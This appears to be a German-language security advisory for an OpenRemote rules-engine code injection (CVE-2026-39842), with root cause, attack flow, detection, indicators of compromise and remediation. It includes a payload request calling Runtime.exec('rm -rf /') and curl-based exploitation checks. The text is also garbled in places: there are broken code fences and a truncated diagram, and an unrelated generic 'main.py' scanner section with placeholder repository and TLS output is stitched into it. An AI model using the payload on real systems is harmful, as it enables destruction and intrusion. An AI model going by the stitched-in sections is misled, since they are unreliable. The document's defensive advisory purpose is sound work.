Internet / Network
                         |
                ┌────────┴────────┐
                v                 v
        ┌──────────────┐  ┌──────────────┐
        | Web Browser  |  | Mobile App   |
        └──────────────┘  └──────────────┘
                |                 |
                └────────┬────────┘
                         v
                ┌──────────────────┐
                | OpenRemote API   |
                | (REST/WebSocket) |
                └────────┬─────────┘
                         v
                ┌──────────────────┐
                | Manager Service  |
                |  (Port 8080)     |
                └────────┬─────────┘
                         |
    ┌────────────────────┼────────────────────┐
    |                    |                    |
    v                    v                    v

## Detaillierte Analyse der Schwachstelle

### Ursachenanalyse

Die Schwachstelle beruht auf zwei kritischen Fehlern in der Rules Engine von OpenRemote:

**Fehler 1: Nicht isolierte Nashorn-JavaScript-Engine**

Die Java-Nashorn-JavaScript-Engine wird verwendet, um benutzerdefinierte Regelausdrücke ohne jegliche Sandboxing, Sicherheitsmanager oder ClassFilter-Einschränkungen auszuwerten. Dadurch können Angreifer direkt aus dem JavaScript-Kontext auf Java-Klassen zugreifen.

**Fehler 2: Deaktivierte Groovy-Sandbox**

Die Groovy-Skript-Engine verfügte über einen registrierten GroovyDenyAllFilter, um die Codeausführung zu verhindern, doch diese Filterregistrierung wurde im Codebase auskommentiert. Nur auf API-Ebene gab es eine Groovy-Durchsetzung (RulesResourceImpl.java:262), während JavaScript keinerlei Einschränkungen hatte.

### Anfällige Codepfade```
RulesResource.java (lines 153-158)
    |
    > POST request handler for rule creation
    |
    v
RulesetDeployment.java (line 368)
    |
    > scriptEngine.eval(ruleExpression)
    |
    v
Nashorn Engine
    |
    > No ClassFilter / SecurityManager
    > Java.type() accessible
    > Runtime.exec() available

Das bedeutet:
- Nicht-Superuser KÖNNEN JavaScript-Regeln erstellen (kein Block)
- Nicht-Superuser KÖNNEN KEINE Groovy-Regeln erstellen (blockiert)
- JavaScript verfügt über keine Sandboxing, daher ist eine Ausnutzung für jeden authentifizierten Benutzer mit write:rules möglich

Darüber hinaus kann die Mandantenisolierung über Reflection auf den assetStorageService umgangen werden, um auf Daten anderer Realms zuzugreifen.

### Angriffsablauf```
┌─────────────────────────────────────────────────────┐
| 1. Attacker authenticates with write:rules role     |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 2. POST /api/{realm}/rules/realm with JS expression|
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 3. Expression passes validation (no checks)         |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 4. RulesetDeployment.java calls scriptEngine.eval() |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 5. Nashorn Engine executes JavaScript payload      |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 6. Java.type("java.lang.Runtime") access granted   |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 7. Arbitrary command execution as root              |
└─────────────────────────────────────────────────────┘

**Schritt 3: An den verwundbaren Endpunkt senden**```
POST /api/{realm}/rules/realm HTTP/1.1
Content-Type: application/json

{
    "name": "malicious_rule",
    "enabled": true,
    "trigger": "timer",
    "actions": [
        {
            "type": "local_action",
            "target": "asset_id",
            "action": "perform_action",
            "value": "// Payload here"
        }
    ],
    "ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');"
}

#### Dateisystemzugriff

Vollständiger Lese- und Schreibzugriff auf alle Dateien im System:

- Offenlegung des Anwendungsquellcodes
- Sensible Konfigurationsdateien (Datenbankpasswörter, API-Schlüssel)
- Systemdateien und Anmeldeinformationen
- Docker-Container-Dateien (falls containerisiert)

#### Diebstahl von Umgebungsvariablen

Zugriff auf Umgebungsvariablen, die Folgendes enthalten:
- Datenbank-Verbindungszeichenfolgen
- API-Schlüssel und Tokens
- OAuth-Geheimnisse
- Private Verschlüsselungsschlüssel
- AWS-/Cloud-Anmeldeinformationen

#### Datenverletzung

In Multi-Tenant-Bereitstellungen können Angreifer die Tenant-Isolation über Reflection umgehen:

- Zugriff auf Daten aller Tenants gleichzeitig
- Lesen vertraulicher IoT-Sensordaten
- Ändern von Automatisierungsregeln über Organisationen hinweg
- Extrahieren von Business Intelligence und proprietären Informationen

#### Systemintegrität

- Permanente Hintertür-Installation
- Bereitstellung von Malware
- Ausführung von Ransomware
- Kompromittierung der Lieferkette (falls in der Entwicklung verwendet)

#### Dienstunterbrechung

- Denial of Service durch Ressourcenerschöpfung
- Löschung oder Beschädigung der Datenbank
- Manipulation der Konfiguration
- Systemherunterfahren oder -neustart

---

## Betroffene Versionen

| Version | Status | Hinweise |
|---------|--------|----------|
| <= 1.15.0 | Verwundbar | Ursprüngliche Schwachstelle vorhanden |
| 1.16.0 | Verwundbar | Keine Fixes angewendet |
| 1.17.0 | Verwundbar | Keine Fixes angewendet |
| 1.18.0 | Verwundbar | Keine Fixes angewendet |
| 1.19.0 | Verwundbar | Keine Fixes angewendet |
| 1.20.0 | Verwundbar | Keine Fixes angewendet |
| 1.21.0 | Verwundbar | Letzte betroffene Version |
| 1.22.0+ | BEHOBEN | JavaScript-Regel-Engine vollständig entfernt |

### Versionsdetails

- **Verwundbarer Bereich**: 1.0.0 bis 1.21.0 (alle Versionen mit JS-Regel-Engine)
- **Behobene Version**: 1.22.0 (JavaScript-Regel-Engine vollständig entfernt)
- **Backports**: Keine Sicherheits-Backports für ältere Versionen verfügbar; Upgrade erforderlich

---

## Erkennung

### So funktioniert es

Die Erkennungsmechanismen identifizieren OpenRemote-Instanzen und prüfen den Schwachstellenstatus über mehrere Methoden:

1. **HTTP-Banner-Erkennung**: Fragt den API-Root-Endpunkt ab, um OpenRemote zu identifizieren und Versionsinformationen zu extrahieren
2. **Endpoint-Fingerprinting**: Testet verwundbare Endpunkte auf Vorhandensein und Verhalten
3. **Versionskorrelation**: Vergleicht die erkannte Version mit bekannten Schwachstellenbereichen
4. **Antwortanalyse**: Untersucht Fehlermeldungen und Antwortstrukturen auf OpenRemote-Signaturen

### Python-Scanner

Der Scanner `detect_openremote.py` führt eine automatisierte Erkennung und Schwachstellenbewertung durch.

#### Installation```bash
python3 -m pip install requests

#### Optionen

| Option | Kurz | Lang | Typ | Beschreibung |
|--------|------|------|-----|--------------|
| Ziel | -t | --target | string | Einzelne Ziel-URL (z. B. http://10.0.0.1:8080) |
| Liste | -l | --list | datei | Datei mit einer Liste von Zielen (eines pro Zeile) |
| Ausgabe | -o | --output | datei | Ergebnisse in eine CSV-Datei schreiben |
| Ausführlich | -v | --verbose | flag | Ausführliche Ausgabe mit detaillierten Antworten aktivieren |
| Timeout | | --timeout | int | HTTP-Request-Timeout in Sekunden (Standard: 10) |
| Banner | | --no-banner | flag | Bannerausgabe überspringen |

#### Beispiel: Einzelnes Ziel```bash
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose

#### Beispiel: Mehrere Ziele mit Ausgabe```bash
python3 detect_openremote.py --list targets.txt --output results.csv --timeout 15

Expected output in `results.csv`:```
Target,Status,Version,Vulnerable,CVSS
http://192.168.1.100:8080,OpenRemote Detected,1.21.0,YES,10.0
http://192.168.1.101:8080,OpenRemote Detected,1.20.0,YES,10.0
https://openremote.example.com:8443,OpenRemote Detected,1.22.1,NO,-
http://10.20.30.40:8080,Not OpenRemote,-,-,-

Erwartete ausführliche Ausgabe:```
[*] Target: http://10.0.0.1:8080
[*] Probing for OpenRemote...
[*] HTTP GET /
    Response Code: 200
    Server: Apache
    Content-Type: text/html
[*] Checking /api/info
    Response Code: 200
    Body: {"version":"1.21.0","name":"OpenRemote"}
[+] OpenRemote 1.21.0 identified
[+] Version 1.21.0 is vulnerable to CVE-2026-39842
[!] CVSS: 10.0 Critical
[!] RCE Confirmed: YES

#### Verwendung```bash
nmap -p 8080 --script openremote-detect <target>
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true <target>

## Installation

```bash
# Clone the repository
git clone https://github.com/example/repo.git

# Navigate to the directory
cd repo

# Install dependencies
pip install -r requirements.txt

python main.py --target example.com

python main.py --help

#### Beispiel: Ausführlicher Scan```bash
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true -oX results.xml 192.168.1.100

### Manuelle Überprüfung

Führen Sie manuelle Prüfungen mit curl durch, um die Schwachstelle zu verifizieren:

**1. OpenRemote-Version ermitteln**```bash
curl -s http://target:8080/api/info | jq .

$ ./build.sh

$ docker run -it --rm -v $(pwd):/app -w /app kalilinux/kali-rolling bash

$ apt update && apt install -y python3 python3-pip git
$ pip3 install -r requirements.txt

$ python3 main.py --help

$ python3 main.py -t <Ziel> [Optionen]

$ python3 main.py -t 192.168.1.1

$ python3 main.py -t example.com -p 8080

$ python3 main.py -t https://example.com -s -o ergebnisse.txt

[+] Ziel: 192.168.1.1
[+] Port: 80 (offen)
[+] Dienst: HTTP
[!] Schwachstelle: Veraltete TLS-Version erkannt
[+] Empfehlung: TLS 1.2 oder höher aktivieren

{
  "version": "1.21.0",
  "name": "OpenRemote",
  "instanceId": "instance-123"
}
```
**2. Endpunkt für Regeln prüfen**```bash
curl -s -H "Authorization: Bearer TOKEN" \
  http://target:8080/api/master/rules/realm | head -20
```
Wenn 401 oder 403 zurückgegeben wird, existiert der Endpoint, benötigt jedoch eine Authentifizierung.

**3. Authentifizieren und Expression Injection testen**```bash
curl -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{
    "name": "test_rule",
    "trigger": "timer",
    "ruleExpression": "1 + 1"
  }' \
  http://target:8080/api/master/rules/realm
```
Wenn die Erstellung erfolgreich ist und die Version <= 1.21.0 ist, ist die Instanz verwundbar.

**4. Test der JavaScript-Ausführung (Proof of Concept)**```bash
curl -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{
    "name": "poc_rule",
    "trigger": "timer",
    "ruleExpression": "var x = 5; x * 2;"
  }' \
  http://target:8080/api/master/rules/realm
```
**5. Realm-Namen identifizieren**```bash
curl -s -H "Authorization: Bearer TOKEN" \
  http://target:8080/api/admin/realms | jq .[].name
```
Common realm names: `master`, `default`, `main`

---

## Indicators of Compromise

### Log-Indikatoren

Durchsuchen Sie die Anwendungsprotokolle nach diesen Mustern:

**Regelerstellung mit JavaScript-Payload**```
Pattern: POST /api/.*/rules/.* with JavaScript containing Java.type
Example Log: "2026-04-16 14:32:18 POST /api/master/rules/realm - RulesetDeployment evaluating expression with Java.type"
```
**Befehlsausführungsversuche in Regeln**```
Pattern: "Java.type" or "java.lang.Runtime" or "exec(" in rule expressions
Example Log: "RulesetDeployment - Expression contains Runtime.getRuntime().exec()"
```
**Unerwartete Prozessausführung aus Java**```
Pattern: Child processes spawned by OpenRemote Java process
Command: ps aux | grep -i openremote
Look for: bash, sh, curl, wget, nc spawned by java process
```
**Dateisystem-Zugriffsanomalien**```
Pattern: Unexpected file reads from application directory
Files to monitor:
- /opt/openremote/config/
- /opt/openremote/.env
- /root/.ssh/
- /etc/passwd
```
**Datenbank-Zugriffsmuster**```
Pattern: SELECT queries accessing other realms' data
Anomaly: Queries from rules engine accessing cross-tenant data
Example: SELECT * FROM ASSET WHERE REALM_ID NOT IN (user_realm)
```
### Netzwerk-Indikatoren

**Ausgehende Verbindungen vom OpenRemote-Prozess**```
netstat -tlnp | grep -i java
Look for: Unexpected ESTABLISHED connections
Example: java process connecting to external C2 servers
```
**Reverse-Shell-Callbacks**```
Pattern: Outbound TCP/UDP connections from port 8080 server
Destinations: Suspicious IPs, non-standard ports
Command: tcpdump -i any -n 'src host TARGET and (dst port 443 or dst port 4444 or dst port 9001)'
```
**Versuche der lateralen Bewegung**```
Pattern: Connections to internal resources (databases, APIs)
From: OpenRemote process
To: Database servers, internal APIs, SSH services
```
### Dateisystem-Indikatoren

**Verdächtige Dateien im OpenRemote-Verzeichnis**```
/opt/openremote/.backdoor
/opt/openremote/shell.sh
/opt/openremote/config/stolen_data.txt
/var/tmp/openremote_exploit
/tmp/.java*
```
**Modifizierte OpenRemote-Binärdateien**```
find /opt/openremote -type f -newer /opt/openremote/VERSION.txt
find /opt/openremote -name "*.jar" -exec sha256sum {} \; | compare with known hashes
```
**Cron- oder Persistenz-Jobs**```
cat /etc/cron.d/* | grep openremote
cat /var/spool/cron/crontabs/* | grep -i java
cat ~/.bashrc ~/.bash_profile | grep -v '^#'
```
### Speicher- und Prozessindikatoren

**Verdächtige Umgebungsvariablen**```
cat /proc/$(pgrep -f openremote | head -1)/environ | tr '\0' '\n' | grep -E 'REVERSE|SHELL|BACKDOOR'
```
**Arbeitsspeicher-residente Payloads**```
strings /proc/$(pgrep -f openremote | head -1)/maps | grep -E 'bash|nc|/tmp'
```
---

## Behebung

### SOFORTIGE MASSNAHMEN (0-24 Stunden)

**1. Upgrade auf die behobene Version**

Der vollständige Fix ist nur in OpenRemote 1.22.0+ verfügbar, das die JavaScript-Regel-Engine vollständig entfernt.```bash
# Backup current installation
cp -r /opt/openremote /opt/openremote.backup.1.21.0
mysqldump -u root -p openremote > /backup/openremote_1.21.0.sql

# Download and install 1.22.0+
wget https://releases.openremote.io/openremote-1.22.0.tar.gz
tar -xzf openremote-1.22.0.tar.gz -C /opt/
systemctl restart openremote

# Verify version
curl -s http://localhost:8080/api/info | jq .version
```
**2. API-Zugriff einschränken**

Falls ein sofortiges Upgrade nicht möglich ist, beschränken Sie den Zugriff auf verwundbare Endpunkte auf Firewall-/Reverse-Proxy-Ebene:```nginx
# Nginx example
location ~ ^/api/.*/rules/ {
    return 403;
}
```
**3. Aktive Regeln prüfen**

Alle vorhandenen Regeln auflisten und auf verdächtiges JavaScript überprüfen:```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/master/rules/realm | \
  jq '.[] | select(.ruleExpression | contains("Java.type") or contains("Runtime"))'
```
Delete any rules containing Java interop:```bash
curl -X DELETE \
  -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/master/rules/realm/{RULE_ID}
```
**4. Zugriffsprotokolle überprüfen**

Prüfen Sie auf Exploit-Versuche in den letzten 30 Tagen:```bash
grep -r "rules/realm\|rules/asset" /opt/openremote/logs/ | \
  grep -i "java\|runtime\|exec\|type"
```
**5. Anmeldedaten-Rotation**

Rotieren Sie alle Anmeldedaten, die möglicherweise offengelegt wurden:```
- OpenRemote admin passwords
- Database passwords
- API keys and tokens
- SSH keys if accessible
- Environment variable secrets
```
### KURZFRISTIGE MASSNAHMEN (1–7 Tage)

**1. Netzwerksegmentierung**

Beschränken Sie den Zugriff auf die OpenRemote-API ausschließlich auf autorisierte Netzwerke:```
- Block external internet access to port 8080
- Implement VPN/SSO requirement for API access
- Use API gateway with authentication/authorization
```
**2. Rollen-Audits**

Überprüfen und minimieren Sie Benutzer mit der Rolle `write:rules`:```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/admin/users | \
  jq '.[] | select(.roles | contains("write:rules"))'
```
Entferne die Rolle `write:rules` von allen nicht unbedingt erforderlichen Benutzern.

**3. Anforderungsprotokollierung aktivieren**

Konfiguriere eine detaillierte Protokollierung für alle API-Anfragen:```yaml
# application.properties
logging.level.org.openremote.manager.rules=DEBUG
logging.level.org.openremote.manager.rules.RulesResource=TRACE
```
**4. Datenbank-Audit**

Durchsuche die Datenbank nach bösartigen Regeln, die nach einem bestimmten Datum erstellt wurden:```sql
SELECT id, name, ruleset_def, created_on 
FROM RULE 
WHERE created_on > '2026-04-01' 
AND (
  ruleset_def LIKE '%Java.type%' 
  OR ruleset_def LIKE '%Runtime%'
  OR ruleset_def LIKE '%exec%'
);
```
**5. Bedrohungssuche**

Führen Sie vollständige Sicherheitsscans auf dem OpenRemote-Server durch:```bash
# ClamAV malware scan
clamscan -r --remove /opt/openremote/

# Check for backdoors
chkrootkit
rkhunter --check --skip-warnings

# File integrity verification
aide --check
```
### LANGFRISTIGE MASSNAHMEN (7-30 Tage)

**1. Vollständige Systemhärtung**

- OpenRemote in einem Container mit eingeschränkten Berechtigungen (Nicht-Root) ausführen
- SELinux- oder AppArmor-Richtlinien implementieren
- Schreibgeschützte Dateisysteme verwenden, wo möglich
- Audit-Logging auf Systemebene aktivieren

**2. Implementierung der Zugriffskontrolle**

- Multi-Faktor-Authentifizierung für Admin-Benutzer implementieren
- OAuth2/OIDC für den API-Zugriff anstelle der Token-Authentifizierung verwenden
- Prinzip der geringsten Privilegien für alle Rollen implementieren
- Regelmäßige Zugriffsüberprüfungen und Zertifizierungen

**3. Anwendungssicherheit**

- Web Application Firewall (WAF)-Regeln für die Rules Engine implementieren
- Request-Rate-Limiting auf sensiblen Endpunkten aktivieren
- Request-Größenlimits implementieren
- Sämtliche Benutzereingaben strikt validieren

**4. Überwachung und Alarmierung**

SIEM-Erkennungsregeln bereitstellen:```
Alert on:
- Any POST to /api/*/rules/* endpoints with JavaScript content
- Java.type or Runtime in request body
- Multiple rule creation attempts in short time window
- Rule modification by non-admin users
- Unusual process spawning from OpenRemote JVM
```
**5. Incident-Response-Plan**

Erstellen und testen Sie Verfahren zur Incident-Response:

- Isolationsschritte für kompromittierte OpenRemote-Instanzen
- Verfahren zur Sammlung forensischer Daten
- Benachrichtigungsverfahren für betroffene Kunden
- Wiederherstellungs- und Bereinigungsverfahren
- Reviews nach Vorfällen

**6. Laufende Überwachung**

Implementieren Sie kontinuierliches Sicherheitsmonitoring:```bash
# Daily vulnerability scan
nmap -p 8080 --script openremote-detect \
  $(cat /etc/openremote/monitored_hosts.txt) \
  --script-args 'onerror=continue' \
  -oX /var/log/openremote-scan.xml

# Automated alerts for vulnerable versions
if version <= 1.21.0; then
    send_alert "CVE-2026-39842: Unpatched OpenRemote detected"
fi
```
---

## Referenzen

- **Offizielles Advisory**: https://github.com/advisories/GHSA-7mqr-33rv-p3mp
- **CVE-Eintrag**: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39842
- **NVD-Eintrag**: https://nvd.nist.gov/vuln/detail/CVE-2026-39842
- **OpenRemote-Repository**: https://github.com/openremote/openremote
- **OpenRemote-Sicherheit**: https://openremote.io/security
- **CWE-94 Code Injection**: https://cwe.mitre.org/data/definitions/94.html
- **CWE-917 EL Injection**: https://cwe.mitre.org/data/definitions/917.html
- **CVSS-Rechner**: https://www.first.org/cvss/calculator/3.1
- **Nashorn-Sicherheit**: https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/nashorn/api.html
- **Java SecurityManager**: https://docs.oracle.com/javase/8/docs/technotes/guides/security/permissions.html

---

## Autor

**Kerem Oruc**

Sicherheitsforscher, Offenlegung von Schwachstellen

Bei Fragen, Berichten oder zusätzlichen Informationen zu dieser Schwachstelle kontaktieren Sie den Autor bitte über die Kanäle zur verantwortungsvollen Offenlegung.

---

**Zuletzt aktualisiert**: 2026-04-16
**Version**: 1.0
**Status**: Öffentlich